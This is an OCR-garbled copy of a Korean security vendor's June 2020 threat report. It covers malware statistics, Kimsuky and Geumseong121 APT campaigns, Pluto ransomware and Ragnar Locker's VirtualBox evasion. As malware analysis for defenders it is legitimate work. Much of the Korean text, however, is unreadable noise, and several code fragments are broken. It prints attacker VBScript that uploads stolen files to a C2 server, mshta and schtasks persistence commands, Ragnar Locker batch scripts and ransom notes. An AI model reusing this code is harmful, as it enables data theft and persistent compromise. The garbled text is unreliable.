O|AEA|FZ|E]

Hot S2fF HAlM

No.129 2020.06




01-05
22-24

06-21

TE SLX|/EBRXA| URL SA|

| Ok
1O

=

t

T SR SA
—

A

F OFA
1O
AR} R

7| 218, HWP, DOC EXE

2020.06
O|AEA|FZ|E| HOt =5F HTIM
CONTENTS

=
HE7t 2ot 7|

25-32

1100

Lo

s

bl
r



O|AEA|IFEE] 22 S2F HulA

1100

At X S

o

AU X AEFE REX|/ER/AI URL S4

ESTsecurity



121" ZZI9| APT BZS AIRICE | BIXERA(Lazarus) ZZ19| 52|
[LHA| ERL APT 52300 o= SEAL 21 B APT SH0] 2IR1%]7 | L

S8, WIL{ARIF Z2(0] OIEINE FIESE Nemiy RIOH & Makop BSSI0N i T3 el 32 o om%
CiRi i 917 THES ARSISH TL (Konni) ZX0] APT 324, 2447 [(Kimsuky) Z10] =3t Ui 224198
QIE 27102 AEISH APT TZVIIK| D5 5 & SISO SHMHEt APT SHOIUALICE Q2 S{LIX| 9
T DI AR BHS O UUS HOR FHELCE

F|O otoll

==, 712t 20| MO = AT APT 32 52| 2O 2FFol| 0212 S4XIE2| 32k K|

OIS LIEf OI= HAl =L 7 I°*Ol|—f S&7[HS APoIAL =L o] 7t MUAE UHLA] HLZ
oI 7o 2kdet of= HIZ 2 Bl SAS Al Ha&T IR ZAEJSLC

12 2ol OIHIS ST HLI Liof oY HHER7} EHE DA U He 2

OTE | 0| S2 EEA 194 ASRIZ 51013 HRIIUS OIS LISt AR SE5H ALFES
EH
=

APT 32 2|0l ZLHOlME= TA| Olr2t=lX| UL SHRINM= 2 Ol537t EUE =T A S21Q1 FOFH
Olfre RIEDY A ERHES 0IS5H AO|ES 2oL AH|A 11I4—0|‘— IHR1/ &R YoM HIEA] TS50
of= 01+, =L X[ 2 20| ZetEl 1022 2lAL HIO|EH[O| AT S| TR RO TN U=
SEENC0I 0 S O] QFE)= ShHE HT{EI0F Sh= Ol RS LICY.

ZZ F2LH9 7 |RIEE &&¢! 015w/ 3,4 Eoil HlohiA= At = FHE 20111 UK SHAXS2
[u} o

=
CHet2l=e] ‘2 ISRz LI AI7101| ”*%‘—J i AD[AS AESH A= TF e EXE Y 5= Q= HIZOoIL

a
=AL HAIX] S2 S8 32 5ol Re DI0ILE URLE E0E= 0= CES 2i8et o7t Q5 EL T

ESTsecurity



2 Qo oM ElX| E

29} ot TOP15
2 QT E Top 15 = ABAF PCOIM EIX|E AETEES 7[HIO= LSt SACY.

2020 5 &o| ZIH AMTE Top 15 ZIAENM= X[t 2020 ' 321t 4 2Hof| 1 HE REX[R{AH
Hosts.media.opencandy.com 7} 5 Z0l|I= SSHA| 1 2IE XX, 4 0| 3 2[E XEX[GHEH
Misc.HackTool AutoKMS 7} 5 Zoli= AT &3t 2 RIE REX[RACE

=% = obgTC T 7HE1E] SAZER D)
1 - Hosts.media.opencandy.com Host 933,773
2 11 Misc.HackTool. AutoKMS Trojan 469,374
3 t1 Trojan.Agent.gen Trojan 436,974
4 New JS:Adware.Popunder.B Adware 370,264
t3 Gen:Variant.Razy. 107843 Trojan 354,763
6 14 JS:Trojan.Cryxos.2745 Trojan 289,277
7 - Misc.HackTool. KMSActivator Trojan 252,082
8 13 Trojan.ShadowBrokers.A Trojan 224,609
9 New Trojan.Agent.452608H Trojan 173,465
10 t2 Gen:Variant.Ulise. 104992 Trojan 159,399
11 - Gen:Variant.Razy.553929 Trojan 139,386
12 t1 Misc.Riskware. TunMirror Trojan 134,706
13 t1 Misc.Keygen Trojan 121,592
14 New Worm ACAD.Bursted Worm 104,607
15 New Trojan.LNK.Gen Trojan 102,392

R 2, LITE ABAIR| 2 SHIS Biol] AEsh eI 20204052012 ~2020H 058 31

ESTsecurity Copyright © 2020 ESTsecurity Corp. All rights reserved. 3



AL
IHHr=

E=0|20}

(Trojan)
67%

Hio|2{A
0%
of =%l of
(Adware)
9%
FHE|ID2|E AHTE Hig HE Hlw

ESTsecurity

T3t 45 B

E20| 20} (Trojan) [—67% | o,

ATLO| 90 (Spyware) 8%

OH=2I01(Adware) gor
StOIXF(Hijacker) 83//2
2 (Worm) 'O%/ZA’

#HorH(Exploit) 0%,
HFO[2{A (Virus) Ooé‘,’%
u = 0f(Backdoor) | Y&
SAET(Host)

0%
7|EH(Etc)

9%

wol EZ0|50KTrojan) 8T E A

g 7HEIE] HIE2 3A A

25%7 12 3H| LAt

m E 20|50} (Trojan)

m AIRO| 9] Of (Spyware)

m O =90 (Adware)

m 3 %H (Exploit)

= & (Worm)

m 7|E} (Etc)

m B = Of (Backdoor)

= HFO|2{ A (Virus)
StO|XH 71 (Hijacker)

nSAEIY (Host)

m58

48

22%
18%
0%
0%
0% 20% 40% 60% 80%

Copyright © 2020 ESTsecurity Corp. All rights reserved.

100%

A5, SAEIRI(Host)

EH

=
HE HIZ0M EZ0[S0KTrojan) RA0| 7H U2 67%S XX SAEM(Host) F0| 22%=
4 20] HlsH 5 2| THA| 2

o;
'I'I'QO:I



01 oMTCE E7| 9l

ol—0c =

HI

.I
-

3. 20| AT A 4 HTE REX|/ERK|
URL S|

58 HEA X SA

SHiE Sl ST Aok TS B WML Rt TI5S S8 TR HTHSHZM, DB O} 25t ALK
B[S SO LEE|X] QH=Ct 5 8 1 URE] 58 31 WK & 52424 719) B0 SZAI=7}
RICHEIAZSLICE 4 2I0f) HISH 29901 SZZASE OF 1% 71 ZASINCL

58 #:HA X S

3,000
2,500
2,000
1,500
1,000
500
0

— AN N I IO O >0 DO AN M OO 00O = NN O 0 O

S5 S SS S S S =g S G g gdagqd e

ool (ol (o o I o N (o I [o I To I o R fo R fo N [o I To I o N (o I fo I (o I (o R o I fo I fo R Fo I 'O R o B fo R Io R [ R o I (o B ()

3233332333332+

oS O O O O O O O O O O O O O O O O O O O O O O O O O o O O o O

AN A A A A A A A A A A A A A A A A A A N N

S O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o

AN A A A A A A AN AN A A AN AN AN AN AN NN AN AN AN AN NN NN NN AN NN

UEIC FEXI/BRXI URL S4

olid SHI= Threat Inside 0| S~Eiet 2HIT= REX|/ARX| URL O Lt #2H SAZ, 5 8 o=t & 5,609,909
19| AHHTE HARXI/FEX| URLO| ERIZ|UCE O] =X|= 4 & ot 7H SRIEIAH 9,158,087 212 &A=
BRXI/SEX] URL ==0f| HIsH F 39% 712 IA| st +=XICt.

AHTE ARXI/FEX| URLL| AR ket 17X URL 2 2LIE~ISk= Z40] O, AKX O2 HLIHY S
Slffst AU7| 20 EEZ STt ZAMIE H|wohs 52 HI=TH 27| HIZT,

2} HURL BRXI/SZEX| SA

6000000
5000000
4000000
3000000
2000000
1000000

0

R FEX|

mURL &

ESTsecurity



OJAEA|FE|E| HOt =5k HIA

Lyl ihd g

1. Z4=7|(Kimsuky) 1=, HWP, DOC, EXE =&H

2. 24 121(Geumseong121) 118, w3 DE

174
o

ESTsecurity

APT B2 &



02 TZ7t 711

1. d=7|(Kimsuky) 115, HWP, DOC,
EXE 28t APT 22 =X

am B — B

EY HEet AAE Aoz AT 247 |(Kimsuky) Z2|2| MER 'ART AF2I(Smoke Screen) APT ZH|21 3240

0l X2 2l DIO|F2ATEALS] doc EMIIY SAOZ 2 SAS L-AlU=M, HFHRAE SR hwp 24

A} exe 2 MK SRHZ Aot U= A0| 2421 Z|USLI.

1A

31, A SHAI0] OF SOt IR TR QRIS exe AATIAS TITHZ MBS I BHLICH

Lt

1. Doc 2A] ZS 0188t 34 Al 24

L L L i y 2z

gEEC % che B ~

1) 2pt M2 R3ISE MEE S UER EEReUD EUE 48 L
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Then one day, | was waiting to get a job, and the Korean-Chinese

o= missionary locked at me and came as if he knew that [ was a North
Korean defector..

I work with the help of an Chinese Korean missionary..

As winter has come, it is a difficult situation because there is no more
work.s

As a North Korean defector, it seems hard to hold out in China..

[ want to live like 2 human being..

I want to go to Korea.
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yvdpzryrkrrfk(
.Run tmp, aocouvrls

pwdjbaitstibawiev (pwd)
eHandler
Application.RActiveWindow.View.Type = wdPrintView

}LL‘r:""4" & ydpzryrkrrfk(" ] yvadpzryrkrrfk ("72") & ydpzryrkrrik{

itm In arr
-Sha [itm) .Fill.50lid
[itm) .Delete

b") & vdpzrvrkrrfk(™

String) String

frnfgybkeufv, zfgvmslehmof,

[ 3] VBA IjE2 = 31

HEX AEZO= MAUE L0|EIS ASCIl ZE= HSISIH CHZt 20| e=aiie] £ () MHZE St

SI=E A AE210f OneDrive' 0|22 3 20ICtH F7[6tC 2 HiE3l= E2|AHE SS61A |LICt

0] 34 A= 0|0 Tt L Z2LH19 o2 QIEF 1O ARYet 7| 22 32 100% LX[BHLICY.

(@) http://www.boaz[ Jkr/skin/member/log/pre.hta

http:/ /www.boazl Jkr/skin/member/log/cross.php?op=1

http://www.boaz[ Jkr/skin/member/log/report.php

http:/ /www.boaz[ Jkr/skin/member/log/suf hta

http://www.boaz[.kr/skin/member/log/cross.php?op=3
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© onedrie 2522 275 - -

IR ECEIE N E R - )
oS OHE Z2 RYS ADE [ L4 SEES KW UL

= ArMS|
ZZ=Z AZ mshta http/fwww. boaz kr/skin/member/log/pre.hta

[(12! 6] OneDrive OIS 2= SEE XA IE SIH

HHEH|(C2) A7} $+=22] boazl Jkr' =MHICI0|MH, doc M2} hwp L7t Het6| SLUSHH, 0] BiAL ZI7| RO
CHEXIQI 213 AWl = SHfRl ' AR T AF2I(Smoke Screen) BHAIILICE

Sub Report(tar)
bnd ="—1f341c23b5204"
disp="—"+bnd + vbCrLf + "Content-Disposition: form-data; name="

sz="MAX_FILE_SIZE"
pd =disp+™"+sz+ ™" +vbCrLf+vbCrLf
pd = pd +"1000000" +vbCrLf

f="file"

fn="1.txt"
pd=pd+disp+""+f+""
pd=pd+"; filename="

set fp = obt(1).opentextfile(tar, 1, false, -2)

readData = fp.readall

fp.close

Roller("emd /cdel " & tar)
pd=pd+""+fn+""+vbCrLf

pd = pd + "Content-Type: text/plain” + vbCrLf +vbCrLf
pd = pd + readData + vbCrlLf+"—"+bnd +"—"

with obt(2)
.open "POST", mas & "report.php’, False
setRequestHeader "Content-Type", "multipart/form-data; boundary=——1f341c23b5204"
sendpd

end with

Set obt(2) = Nothing

End Sub
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list = split({tmp, "~", -1, 1)
each inst list
Roller{"cmd /fc " inst et store)
next
Roller{"cmd /c certutil -encode " store
Roller{"cmd /c del " % store)
Report{conv)
End Sub

dim reglnst, dir, action, store
Register(2)
dir = obt(®).expandenvironmentstrings(“%appdata%"™) "\Microsoft”

mas "http://www.boaz.kr/skin/member/basic/css/"
reglnst "cmd fc schtasks /Create fSC MINUTE /MO 3 /TN OneDrive /TR ™
action "mshta " mas "suf.hta”

Roller{reglnst action & """" " fFT)
GetInfo(dir "\Network™)
Roller("cmd fc taskkill /fim mshta.exe /™)

(02! 7] A3 A2 ZH0| ARE 22 7|
3.exe A MAUS 01Z ¢t 34 4 AH|

0|28t ZZE EPH AREHLICE X[t 04 &
|| AREUSLICH DIUHS AFS256

20| MEE ok MU2 OfX| AES256 =58t D= 1HXMEH &6
Decryptor.exe’ 0|0, Ot0|2 2|AAE= S0 2 HIEIE0 ASUCE

ZHRK= doc, hwp ZAIS 0|23t APT 27 201 0fLI2} exe AU
H

[ Cursor () Size: 128%128
[ Dialeg \ Windows XP (32-hit)
W [ Icon

[ mrE=oGeesr]| |~
Size: 96x90

B
w [ String Table = y i
o | Windows ¥P (32-hit
abe String Table [Z0H(21=)] LI e
w [ Version Information =
[za] 1[EH(TI=] i =l Size: 72%72

Windows XP (32-hit)

[T § 5t=20{(Korean)2 A= 00| 2|AA 51H

ok M2l OIS 5|
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s S2eboh= 7IsS 7L JULH, ARl TisE 20| okl =LC

2AE|H ChEd} 20| 2X| 528} 7|s =HHE B0iFal, 558 e T MEtS CH7 [
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SZ4Xk= 'CIA Final Answer-Attachment.docx.enc s

© AES256 Decryptor

mERE

ol== RfLCt.

HNZE =2=2Pt

ClHE|H S

2 oflEH7t &

C03443206 - Approved for Release: 20181112

/ CLASSIFILAIIUN Wﬂ{mt
CENTRAL INTELLIGEN Zt: AGENCY
INFORMATION REPORT

COUNTRY Korea
SUBJECT Perscns Arrested in Secul by the
Borth Koreans y
V\i-' - 3
Wy

PLACE
ACQUIRED Kores

DATE OF
INFO, 15 Qotober 1950

- umkcnosm a8 of 15 Ootaber 1950.

Hume address

The following is & list of Seccl arss residents who were

55} T2 QIR 5101

CO3443308

v
REPORT NO. (o3
cono.

DATE DISTR. 18 Janeary 1861
NO. OF PAGES %

NO. OF ENCLS.
CLISTRD BELOWS
SUPPLEMENT TO
REPORT NO.

(b))
{bK3)

1)

o antanss (F A1) 812 Padoancong

¥ chrang-ho (&%) 362 sokane

A chang=win (- § £)) 362 Sokanc

¥ cndogme L A8 ) 26 iypchang-dang
1H0E o7 pe) OF Hom=)

HEl IS 4 CheXiofA| 20] 2LH0f ofd

SEHOIX|ZE S+ Al=olH &K 21 HO| LIEFELIC,

-—b—+ 0%

3 10 =22
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2 http:/ /www.boazl Jkr/skin/member/basic/css/cross.php?op=1
http:/ /www.boaz[ kr/skin/member/basic/css/report.php

doc, hwp, exe MUSH HLS= TAE H|wol 2H Ch3at Z5L
doc http://www.boaz[ Jkr/skin/member/log/cross.php?op=1 Robot Karll
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OFM hwp BA] AE 24

O[H0H| AEA| EFXIE 2 hwp EAMAZ 2020 H A7 [0 2= S4 S0l si-t=, A LHE0| ChSat 20|
'BINO0O1.ps EAE AFZIE(Post Script) AEZS LIRS USLICH

E 53 | 1659

|6 2 0 |0

rylnformat|- IS I 489

|- / 20 | 2726
| 2044

(72 3 ot IAE AERIET} TEE B9
EAE ASRIES T 24 9 EXPH OfEIES Q1T HA0| HBH0| LT, TP E TS HRIS kSt 20|

LHS01| &1 =(shellcode)7 Z&tEl BHIS0| ZEARILICE

: ft
t 1BHFF

[O2 4] "T =7} TS| TAE AZIE 3}

H
2AC FH0f| 2ol HI0IES| £ QUM HIO|E gt &lRlofd], ZAE AFTE S H|| AZTEN 574K

U H|0|2E(Payload) CITZE S L Q1M 7|52 L3S Ct,

ESTsecurity



] il

while
1
if { ={ DWORD =)( Y == BxA48FC3IT72E 3}
{
+= 4;
if ( *=(_DWORD *){ } == DBx78F136AD )
break;

i
if [ ++ ¥= {unsigned int){ - 16) )}

goto LABEL_12;

= -|-J_|;
= ={_BYTE =){

= =({_DWORD =)({
+ 4

{unsigned int =) (8, + 256, 12288, 4);

> h)

= {_BYTE =){

CRY REIZ HX|H TAE AFZE S1H0| QT ZXHSHE PE IIQ| 2&0| LIEFELICE e IS
o2 | A(Fleless) 7 [HOE 2F=56HH, 32 HIE exe DIURILICE

59 Eh 1 1! b ] L FF gE 1C 57

L Eo AF & 1y 9D i ] ) TF A9 C4 5D

: ? 94 93 95 7 ] Lk 5D E7 E4 S9E 9E

oo oo L o 10 30 OO0 00 04 00 00 0o

FF oo oo OO0 00 40 00 00 0o

oo 00 00 Qg OO0 QO 00 00 00 Qo

oo o0 00 00 oa | 10 00 oo o0 o

10 o0 0E 1F E T 21 B8 01 4AC | ... .

CDh 21 ! B ) - ' Th brogram. c

; ; ; 20 | LFun. in.

A4 4 S -

4E N...N

) dE | ... 0...Nue.N
4E

oooo 0 ' > 4 ’ )] ] - | L0 EF 4F
d 0 E3 4F

[(3 6 ZAE ATHEN 74K U= 32HE exe A TE=
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b MAU2 [ R BH=E RSt FE 121'APT ZE9| AMM0| Z2RE S4 SE] A2t DV EX|Z 512

23125 (peloud) MHZ SRS 012 HES 25| QEAF A ELICH

T2 0 2Kt Of=0f| M2t 7+ pII0] AX|=|0] 07 |X| 2ot H2K|0] Dl S2=

edx, edx
offset aHttpsMy_pcloud ; “https:fsmy.pcloud.comfoauth2
[eax], dx

sub_411AZ0

ESP ]

byte ptr [ebp+uar_iu],
BCX, esp
[ebp+var_20], esp
dword ptr [ecx=+

dword ptr [ecx=+

dword ptr [ecx=+

cshort loc_ 4W14G6FB

eax, [ecx]

cshort loc_ W14G6FD

[12! 7] 52l S2RE MH 018 25

O]01& 4= QA ELIC.

ESRC= SAXIS0| AEE S2RL 71 FEE SRRIE=, 71Z 58 121 Z2I0| AkZet 24t RASHA| 24A(0t

QA (maddisonhammon@yandex.com) O|HIY &S AFRHSLIC

‘cryptosetup”: false,
“plan”: @,
“cryptosubscription
”publlcllnk uota"

“"emailverified”: true,
“usedpublinkbranding™
“currency”: "UsD"
"userid”: 1

“agreedwi Thpp

“quota”

“haspasswor

“premium”: false,
“premiumlifetime”
‘cryptolifetime”
"usedquota”
"language"”

“"business”: false,

[22 g S2HR= MH[A0| 24A[0F yandex O|HIZZ 711E 2&
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02 TZ7t 711

0IZ2 SIRE MH[A S0 71 [ b= 717129| B[, Oi=2| +12 XM/, HAOLS] QA O|HIRE K=

ArZotl UEUC

: ;) .
Dropbox - bitly.com
Android_JPGE_Viewer.apk 20190612_160359_s.jpge
JPGE_Viewer.exe
»

~ X
\

/
FHTo 2B AE hup HIIRYAILE BB hp @ "I
{ /
\ . o o *,
\ N Seans g 2
\ 22 L G movzhanu@yandex.com MR martburgle@gmail.com
Y zsERFapk e 2 s

Operation
Pnntmg Paper

@ ¢ e- -0

| slexandermatrovi2@gmailcom  new_HorH &t313 474 =3D 2 godlemessy@gmail.com tbaby2949@gmail.com AL 2hhup
YFEAUE M hwp .

\ .0‘
o Operation
X Y Spy Cloud ‘
messenger.apk .
yandex.com @ martburgle@gmailcom 2019 SHLHAE 2R 2 FE1(12.06)hwp
20194 SHEM(IABE) hwp =23 &5 SM.doc N g

— ‘\ 23 ™N

\ Operation e \\
Dragon Messenger R T ‘ s

k ¥

-

xhelper.apk &> R S OIOTONE = D >
WV
pCloud

email_93682646.htm| kpsapress@gmail.com kpsa-press@daum.net 7HSIEE =T S2AM hwp
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[0 9 24121 ZRI0| AIS3E LI AR 31

ESRCE B8 121" 20| 2ftEA(azarus), A7 |(Kimsuky), 2L (Konni) Sit &7 hetli=s STH= XEEEQ
ALOJH 2t PIHEFSS Sl ACk= A= hLlgitth.

OIS HEXIRI0| SRS HIOBI TSI L TXQI 52 AFHIS 43 F0|1, L4 30| Mush nEsizl=
Al

[k} Of APT 22|l CH3H SICH APHEIQ! SAfmt Gt 20| FAISHH, /3 QIHIBIHA 7[Hto| OIS} $20|
TAI5| QT[T UALICE

ESRC = '2A1 121' T120| CIoksH QI3 Al ZISHKIE(00) MK £ KLt MAIESI0 Threat Inside' AHIAZS E35
MM HZatr QUELICE
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[Trojan.Ransom.PLUTO]
AEIC =4 HIIA

2019 & ol | HZAE Nemty 0= ZIZ7HX] OIHAME 2IEold] 71”92 LiF REERIC ZI2 MAXHC=
219 MO = 720 SHRR= OIE 0|E31 AMEAIZ dl0g S4= REICh. 22T Ot|=t 7=t

CHEA| =2 HalA 7 il BiX] 2215 M=o,

Dear ===z

We are so sorry.. Your files were encrypted|
Find PLUTO_ARTFDAO-DECRYPT txt and mail us.
PLUTO

[0 me! 155 212 B HigelR

o

ol

FSFLL

-

| 4T == 220 EXHok= DiUS A7 ZHBX0A I S2=215 V= == e #HdA
HE #E0= 2019 A S |RE FEEAUT Nemty THEY012] HEC2M RSt H|0|Eet ZeE PC
Mot HXIAER7H St F/PHO= FHIA ZF S0IM 2A0I0Z 0IZ5tK 2|0 Bl= ZAESS LES

S%0| et

1O

o
o=

ol
0

FI'F

m

[TEEA HEAAHZE 0ol | otz 712 22t w215 Zold, 22, 0HSEAH 0[S 2= AH|0|EsHOF
oI}, ot SQot Aizs 7 |IHC= oY AL SHRE AMH|A SO HiioiA TisHE Z[4akst 4~ U oHof
oICt.

21XH Lf0i|Af= S UM FEE TrojanRansom.PLUTO’ BIX| B = RITHSHT QIOM, 2 MM 2ME1IM=

Threat Inside EIMH|A == Sol| 21210] 7+S0ICt.
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https://www.threatinside.com/

A0 S22 SAXS0| 7H 0ligdk= 2HIZ 717 524 718 2 OIEP =0 220199 FE= Qlet HEHES]

SMOR FF3 el 2XV SHXISUPIE B2 324 w0l H

_|_

TFZLH19 A 27|29 A0 SZH2 F2LE19 &R Ol/t T2 O|FAK|T Z=et Aol 72| F=7(2f Al4o]| =t
Bl 2AF 250l EIXt SARISE 0]0f HSot0] EHHiE AFoh= A0l S2S Aol QUL

$HElpost

olE IR 2|

AN X221

AIEAP 2D SEE Sof

o

OpY QS MRIGHA| IR HOl M7t SIE|E|T IR0 ZXHGHS XIQISOAIE AnkY
T2 AP} HE= DEHE

o =
= =k UG O2kA TfehE 7] ofidsk= A0| 7k E= AO|Ct.

A09| ol Y2 O 2SIt ZAt LS| URL 23E S2IoHK| Y7L CIi2= =5t oFd WS AX[oHK| o™
=0t 22|01 HefM it Z0] Mg 4= QU= B A= AX[ol] AZok= A TS tlWok= ol ==0] =L

I kM M= SHE @S Trojan.Android. SmsSpy’ BIX| HOZ FITISH Qlon, 2 AM| 2MH 1A= Threat
Inside BIMH|A F=5 Sol| 2210] 7FS5Ct.

bo
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(=]
LN

I5t7] #loll 7+ HAloA Y=l +Alolk= HHERI0

Ransomware encrypts from virtual machines to evade antivirus

el

[ -

Ragnar Locker 29017} TfohXAte| MAS U==tol/| Ploll F=? XP 7k MAI0f| BIX|=|0] S AE0 EX[E 22t

ATEQH2| BXIZE L3lotl U= W= LIEFHLE Ragnar Locker = 2019 A 12 & & =53 A[&fet H| WA MZ2

RN Z2 71 HIEYIS BICE 0] IR OILIX] L7 |21 EDPEnerges de Portuga)S
QUESIEIX| 242 T 10TB S SHCH 610 AADILIZ $1000 8t HofZ 275t 2o

HIESF0]| HiZEE I BXIE 2|[ol| |t M22 WHE ASS XE0| Lt B2
ARfGE7| H 2ot T2 ZEA7|X|2E Ragnar Locker = 3 &
SEIF|E|IK| EF3HC}

B 2IWE Holl 7+ T AE

74
= o1

SHSIC} Ragnar Locker =
2HMI0] T2 TH0| USSIE
O Lot MSP(managed service providers)

o0

Sophos 2| A2& H11A{0]| [f=™ Ragnar Locker 2FX7t MY 2SS} A| EIXIE OG5H | 26 MES WHE A5 |

AZIBE HOZ LIEIHLE 0|52 SAENA Aldlzl=

OF ATE0{0]] EXIEIX] =S 57| I3 OfF| VitualBox

B2 XP 7t LIS BESHH HE0IS Mot TS AS=loh | AIRRICE 0152 A VitualBox, DO|L| 212

o
XP 7pat CIATOl microwvdi, A|AE! Z=HIS QIS CIFSHAIGH

=]

v = | VirtualAppliances

<« v 4 > This PC > Local Disk (C:) > Program Files (x86) > VirtualAppliances v J]
Name Date modified Type
# Quick access
app32
% This PC app6é
¥ 30 Objects

B Desktop

install
micro.vdi

 Documents ¥

(]
& Downloads ve

VirtualBox
D Music

vm1
= Pictures

vm2
B videos vm3

<. Local Disk (C)

& Network

[13 1] Tfehixfe| HRE | dd= =0

[l 2l ATRIES BEBH S B

CE ettt

sorpHoslabs

earch VirtualAppliances

[EX] https//newssophoscom/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/

VirtualBox = 71t A LY HIEQIT Z2Q2M SAE OS AJAE! L ZC{Q EE|HE 2R84 Q= 7|58 Ba6H

QICt O] 7|52 EaH 71 HAI0] WBOXSVR 71t ZOEZHE ZQ Z2E HEY3

=L o
B Heks g = U
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C20|H2M ORRES|


https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/

i @ Win ] o
!l General Shared Folders \
1| — - |
E_I System Shared Folders
| j Display Name Path Access Auto Mount At @
= (&) Add Share ? %
| s/ Storage
B Folder Path: v
(l{/'_) Audio er path | |
q Folder Name: | ]
" Network [] Read-only
ﬁ} Serial Ports [] Auto-mount
P, Mount point: |
| | USB
w Shared Folders —
[ — oK Cancel
H ‘ User Interface : .
|

0K Cancel

[(1E 2] VitualBox 2| 7 = 2UEH0|A
[EX] https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware—deploys-virtual-machine-to-dodge-security/

o

| &A= installbet 2 S SAES| 2Z 20|22 IfHE HIERF E20|EE &0t 0| 7 HAN XSO0 =

= o =
TR 4 U= T MU YWESICY

mountvol | find “}\” Y vixt

(For /F %%i In (v.txt) Do (
Set freedrive=0
FOR%%dIN(CDEFGHIJKLMNOPQRSTUVWXY 2) DO(
IFNOT EXIST %%d:\ (
IF “lfreedrivel’=="0" (
Set freedrive=%%d

)
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mountvol freedrivel: %%i
ping—n2127.0.0.1
)
Set driveid=0
FOR%%dIN(CDEFGHIJKLMNOPQRSTUVWXY2) DO(
IF EXIST %%d:\ (
Set /adriveid+=1
echo "(SharedFolder name="ldriveid!” hostPath="%%d:\" writable="true”/") ))sf txt
)
)

[2213] VirualBox -4 It A4
[&X] https://news.sophos.com/en-us/2020/05/21 /ragnar-locker-ransomware-deploys-virtual-machine-to-dodge—security/

0] Bii0] ARER ATUES HRE| L BE SRI0|HS TR DRIZ XISOR BRK= VinaBox T A2
TS it IUS AYAIBICE

W sf.txt - Notepad2 . O %
File Edit View Settings 2
D@ | |« @B NE|E QTR

1 <SharedFolder name="!driveid!” hostPath="C:\"” writable="true”/>
2 <SharedrFolder name="!driveid!” hostPath="D:\"” writable="true”/>
3 <SharedFolder name="!driveid!” hostPath="E:\" writable="true"”/>
4 <SharedrFolder name="!driveid!” hostPath="F:\” writable="true”/>
5 <SharedFolder name="!driveid!” hostPath="G:\"” writable="true”/>
6 <SharedFolder name="!driveid!” hostPath="H:\” writable="true”/>

Ln1:7 Col1 Sel0 396 bytes ANSI CR+LF INS Default Text

[(3 4] S/ 21012 719

0|2 SZAX}= HHX| T2 TH= ShareFolder XAZS Soll Yl 78 THES AkSol| 2= XP 7He HAIS AIZfettt.
7k HAO| AREH HE S 201271 7k A Lo E2 7kset &7t EIH Ragnar Locker 290 2134
I[I0| C\ A0 |E 0] REN| X522 A E L
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| Ele Edt Vew Favorites Tooks Help | &
| QBack » ) - (¥ £ | search [ Folders | (& 3 X 9| (@~
JAM I'O C:\ ;,I o
Folders X | | Name = | size [ Type | Description [
@ Desktop [C)Documents and Settings File Folder
& () My Documents [C)Program Files File Folder
=] d My Computer ;_JRECYCLER File Folder
[=l < (C:) Local Disk [ wINDOWS File Folder
=) Documents and Settings 5] AUTOEXEC.BAT 0KB MS-DOS Batch File
(=) Program Files _¥boot.ini 1KB Configuration Settings
() RECYCLER = CONFIG.SYS 0KB System file
B ) WINDOWS = 10.5YS 0KB System file
@ 2 (D:) CD Drive 1= MSDOS.SYS 0KB System file
# [@ control Panel ZINTDETECT.COM 47K8  MS-DOS Application
® ‘d My Network Places = ntldr 245KB  System file
# Recyde Bin (= pagefile.sys 28,672KB  System flle
[# | eXPerience i vrun.exe 49KB Application

[Z1& 5] Windows XP 7 Fa THAI
[&EX] hitps://news.sophos.com/en-us/2020/05/21 /ragnar-ocker-ransomware—deploys-virtual-machine—to-dodge—security/

i

3._* 7t THEIO] AEEl= SA| HAEES AR SEHO| PIX[et viunbat TRUE HSHE|0] QU O] viunbat TfU2 24
7 S2t0|ES OI2E 3 Asslol 7k Tt SRE ChE ER0|E0ME 22 XS

A
8t

0
el
e
2
il

@ *vrun.bat - Notepad2 = O X
Eile Edit View Settings 2
DEQd 9t ad|lzEaal =z e

1@echo off

2ping -n 11 127.0.0.1

inet use E: \\VBOXSVR\1l

4for %%d in (2 3456 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28

29 30 31 32 33) do (if exist \\VBOXSVR\%%d net use *\\VBOXSVR\%%d)

yea

6ping -n 3 127.0.0.1

7 C:\vrun.exe -vm

g goto a
9
10]
Ln10:10 Col1 Sel0 262bytes AN CR+LF INS Batch Files
[13 6] Y==lE flot 2E S& S0t0|H 028 2
TjoHAte] SAEOM Heil= 2ot ATE0= 7k T L 2 Q%I(H Al O[U0|Lt 2SS BRIE == 87| W=

OjsHXte| ME0| =ell= S BHXIZX]| °§° = ULt Dfolikk= 2= 10 Off ZetE Q|

2 XI0{ (Controlled Folder Access)S AR5 UUS AR OS 7 ESE ZG0IN Lalist M7 | =S EIX[E 4
34s W= = UL L3P A= EH IS = ZAREM AHAE HEL-ES Z0IE 4= US A0|Ct.
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ctt*tt*tt&tl3tttt#xttxt#txtt;tt:sttltttttttt:xl:xtttt‘ttttx3:ttlttt‘t:xt:txatlt:t:ttttttttttt:sxmobs

HELLO !
If you reading this message, then your network was PENETRATED and all of your files and data has been ENCRYPTED
Although your security measures already been BREACHED and your files were LOCKED, we was able to make a PENETRATION
of your network AGAIN!

by RAGNAR_LOCKER !

D e

11 WARNING 11111 SQPHOSlQbS

DO NOT Modify, rename, copy or move any files or you can DAMAGE them and decryption will be impossible.
DO NOT use any third party or public decryption software, it also may damage files.
DO NOT Shutdown or reset your system

There is ONLY ONE possible way to get back your files - contact us and pay for our special decryption key !
For your GUARANTEE we will decrypt 2 of your files FOR FREE, as a proof of our capabilities

Don't waste your TIME, the link for contacting us will be deleted if there is no contact made in closest future and you will
never restore your DATA.
HOWEVER if you will contact us within 2 day since get penetrated - you can get a very SPECIAL PRICE.

WARNING !

We has downloaded a lot of your private Data, including your biling info, business licenses, credit info, finance reports,
business audit, Banking information and many other interesting things!

Also we have an personal correspondence and information about your clients and partners and even about your staff, there are

some screenshots just as a proofs.
[(1E 7] 7AAE Ragnar Locker 2HM L-E

TR DA Sa SIS 02 AEIR 717|0) TS UBSIeH 22 TR SRl TT WA0JR} & 4 Ur
VitalBox 9+ $IZS XP 7H DIAIS OO ZISEIR| 94| IR0 Hot ATEQ0] CHEIS 07 [0 ZHFELO)
FIOE(S: DFEISHS 201 e 245N BSCH o] SAE RIO] U ol 2 AMERI0P) YS SUER
7150] HOLE SLFR| SO AR7H EIICL HEAION D T M71S EX[3 4 Qi HOt ATEQOfI0|

0| B2iZ IRIoHE 4 Uk

